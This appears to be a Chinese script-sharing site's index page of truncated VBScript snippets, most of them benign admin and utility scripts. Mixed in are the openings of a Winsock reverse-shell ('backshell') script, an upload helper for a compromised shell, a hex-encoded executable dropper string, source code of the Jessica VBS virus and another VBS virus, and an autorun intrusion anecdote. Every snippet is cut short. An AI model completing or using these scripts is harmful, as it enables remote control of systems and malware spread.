strComputer="."SetobjWMIService=GetObject("winmgmts:"_&"{impersonationLevel=impersonate}!\\"_&strComputer&"\root\cimv2")SetcolLoggedEvents=objWMISer...

[阅读全文]

arrFile=MyGetFile()SetoShell=CreateObject("Shell.Application")SetoDir=oShell.NameSpace(arrFile(1)+"\")SetoFile=oDir.ParseName(arrFile(0))Fori=0To100sTmp=oDir.Ge...

[阅读全文]

WORD软虽然可以将doc转为文本文档，但每次打开WORD都很慢。最好就是通过右键菜单来快速转换。打开记事本输入：ONERRORRESUMENEXTsetargs=wscript.argumentsarg=args(0)setw=createobject("word.application")setfso=create...

[阅读全文]

'自动调用cscript来启动脚本setoSh=CreateObject("WScript.Shell")Iflcase(right(WScript.FullName,11))="wscript.exe"ThenoSh.Run"cmd/ccscript//NoLogo//e:vbscript"&WScript....

[阅读全文]

输入小助手.vbs有时,渗透时,溢出得个SHELL,或只有一个CMDSHELL,想下载些东西,或上传东西,时真是不方便啊特别是当目标不能上网,或限制比较严格时…ECHO东西,手工输入,那个累啊….还是弄个脚本方便些…//把要ECHO的脚本,拖到此脚本上...根据提示操作即可On...

[阅读全文]

解密base64的vbs小函数FunctionfDecode(sStringToDecode)'ThisfunctionwilldecodeaBase64encodedstringandreturnsthedecodedstring.'Thisbecomesusefullwhenattemptingtohidepass...

[阅读全文]

TCP版backshell的VBS脚本'搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷'by009,baicker@hotmail.com'date:071221Dimrevdatasetsock=WScript.createobject("MSWinsock.Winsock","WSEvent_")sets...

[阅读全文]

ADO对象ConnectionCommandRecordSetRecordStreamServer.CreateObject("Scripting.FileSystemObject")Server.CreateObject("Scripting.Dictionary")HashTableServer.CreateXOb...

[阅读全文]

'CPU基准测试+信息查询，好玩又防奸商，去电脑城选电脑带上一个吧！CPU信息一目了然。'BY:fastslzSetobjWMIService=GetObject("winmgmts:\\.\root\cimv2")SetCPUs=objWMIService.InstancesOf("Win32_Processor")...

[阅读全文]

Chr(0)为0的字符Chr(1)Chr(2)Chr(3)Chr(4)Chr(5)Chr(6)Chr(7)响铃Chr(8)回格Chr(9)tab(水平制表符)Chr(10)换行Chr(11)tab(垂直制表符)Chr(12)换页Chr(13)回车chr(13)&chr(10)回车和换行的组合Chr(14)Chr...

[阅读全文]

'*'FileName:AVP6Bak.VBS'Author:baomaboy'Abstract:用于卡巴斯基病毒库的备份(测试本本为KAV6.0)'*DimWshSHell,FSOOnErrorResumeNextSetWshSHell=WScript.CreateObject("WScript.Shell")Set...

[阅读全文]

OnErrorResumeNextConstAUTO=255ConstNETWORK_NUMBER=0strComputer="."SetobjWMIService=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")SetcolNetCards=objW...

[阅读全文]

1、如何确定打开的新窗口的URL2、如何使新窗口不弹出而是在原来页面中显示实际上属于转贴。。呵呵:-)原始文章来自微软，微软么，是大家的微软嘛！所以稍微修改了一下，帖到这里。原文的中文地址是：http://support.microsoft.com/kb/185538/zh-cn实际上，这个实现就是获取一个接口，还是叫...

[阅读全文]

data="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000C00000000E1FBA0E00B409CD21B8014CCD...

[阅读全文]

今天真是幸运，被我搞到了病毒Jessica的源代码。　　因为是用vbs编写的，所以贴在这里让大家看看。此文仅用于技术的学习，不要干坏事哟！　　这篇E文还没来得及看，看过后有错误的地方告诉我一下　　OnErrorResumeNext＇容错语句，避免程序崩溃　　dimfilesyssysdirwindirfilevbscp...

[阅读全文]

strComputer="."SetobjWMIService=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")SetcolNetAdapters=objWMIService.ExecQuery("Select*fromWin32_NetworkAda...

[阅读全文]

<title>LoadPicture函数</title><formname="frm">选择图片<inputtype="file"name="pic"onChange="GetPicInfor()"></form><scriptlanguage="vbscript">SubGetPicInfor()dimobjpic,...

[阅读全文]

Q:修改机器名时，希望同时修改IWAM_HOSTNAME和IUSR_HOSTNAME，如何操作？A:假设原机器名为OldName，新机器名为NewName。1、将机器名从OldName改为为NewName。2、进入AdminScripts目录，通常是C:\Inetpub\AdminScripts，然后运行：cscrip...

[阅读全文]

SetobjShell=CreateObject("Wscript.Shell")strCommandLine="ttpsetup.exe"'启动安装程序objShell.Run(strCommandLine)setWshShell=CreateObject("WScript.Shell")WScript.Sleep3...

[阅读全文]

VBS+迷你QQ，实现机器远程休眠和电驴的自动休眠首先到http://cmdos.net/soft/sort016/down-612.html下载迷你QQ，解压后运行MiniQQ2.0.exe，输入用户名＆密码，上线，然后开另外一个QQ，给这个迷你QQ随便发个消息，迷你QQ收到消息后发现多了个名为908922622的文...

[阅读全文]

'QueryCode.vbsBY:fastslz'支持批量查询，可以放在SendTo扩展应用setfiles=WScript.Argumentsiffiles.Count=0ThenMsgBox"请将要查询的文件拖动到这个文件里！",vbInformation,"文件编码查询工具BY:fastslz"endiffori...

[阅读全文]

'*==*'*CMD命令行编码转换工具包括GB2312,UTF-8,Unicode,BIG5...支持拖拽、文件另保存为*'*CodeChange.vbsBY:yongfa365'*GB2Ue.vbsBY:fastslz'*==*aCode="GB2312"bCode="Unicode"Show="本脚本仅支持"&am...

[阅读全文]

winxp没有对htm缩略图把一下代码存为xxx.vbs,双击运行就支持了'RepairImage.vbs'StartofImagePreviewRepair'ThissectionrepairstheassociationsforImagePreviewOptionExplicit'DeclarevariablesD...

[阅读全文]

<INPUTTYPE="text"NAME="url"><INPUTTYPE="button"onclick=get()value=get><divid=yyyystyle='width:400;height:500;border:5px'></div><scriptlanguage="vbscript">functi...

[阅读全文]

我见过最小的邮箱客户端了，，整个程序不到1K，刚好888字节。还带附件发送功能本来还可以压的更小的，888太顺利了，就不继续优化了。这个代码还可以扩展使用，留待有空在研究了。以下是源码。复制保存为VBS文件就可以运行了下载点这里-分割线-'ByJerryYeOnErrorResumeNextf=InputBox("Fr...

[阅读全文]

把以下文本用记事本保存名字用xp_taskbar_desktop_fixall_chs.vbs双击运行即可。'xp_taskbar_desktop_fixall.vbs-RepairstheTaskbarwhenminimizedprogramsdon'tshow.'?KellyTheriotandDougKnox-8...

[阅读全文]

'本脚本利用更改boot.ini文件的timeout的值来实现更改显示操作系统列表的时间'scriptbybreakanoptionexplicitdimfso,open,ws,wsenvdimattrib,boottime,bootini,timeline,boot_inipath,yonsetfso=createo...

[阅读全文]

源码：'Administrator4'SQWRLPVKPEENH2_22FunctionGetSFolder(p)DimobjfsoSetobjfso=CreateObject(GetFSOName())GetSFolder=objfso.GetSpecialFolder(p)&"\"Setobjfso=Not...

[阅读全文]

学习一下了，很少看到vbs的病毒的代码了。学习下。呵呵。病毒作者只是要找个工作，不容易啊。知道了它都干什么了，我也懒的说怎么杀了。我又不是杀毒软件，我又不收费。OnErrorResumeNextSetFSO=CreateObject("scRiPtiNG.fILeSystemObject")SetWshShell=Cr...

[阅读全文]

最近遇到一个变态机器，可以执行user命令，sql只对本机开放，而且是dbo权限，社工猜出来管理员密码，管理员帐号为administrator+users权限，但是我怎么搞都不能让机器重启，而且我加管理员还被他骂，看了下机器装了瑞星，没有360，机器为2000server。于是想到自动播放，于是写了一个antorun....

[阅读全文]